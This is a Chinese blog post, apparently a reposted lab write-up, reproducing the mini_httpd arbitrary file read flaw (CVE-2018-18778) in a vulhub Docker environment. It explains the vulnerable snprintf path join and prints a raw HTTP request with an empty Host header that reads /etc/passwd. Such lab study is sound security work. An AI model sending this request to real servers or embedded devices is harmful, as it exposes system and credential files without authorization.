vulhub漏洞复现-mini_httpd(CVE-2018-18778) 任意文件读取漏洞

mini_httpd

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件

思路

在mini_httpd开启vhost模式(虚拟主机)时,由于没有对http头数据进行安全过滤,导致外网攻击者可发送HOST头为空的的HTTP数据包,触发漏洞,引起任意文件读取,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

见上述代码,分析如下:

HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。
当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd。

snprintf函数拼接完host+url后执行do_file函数,该函数功能是记录日志,而do_file函数中的open函数根据绝对路径将文件输出给用户(客户端或web端),这样就造成了任意文件读取漏洞。

漏洞复现

docker部署完成后打开环境

在这里插入图片描述
抓包后删掉Host,并输入文件绝对路径,重放

GET /etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

在这里插入图片描述

知乎专栏

猜你喜欢

转载自blog.csdn.net/weixin_54648419/article/details/120832376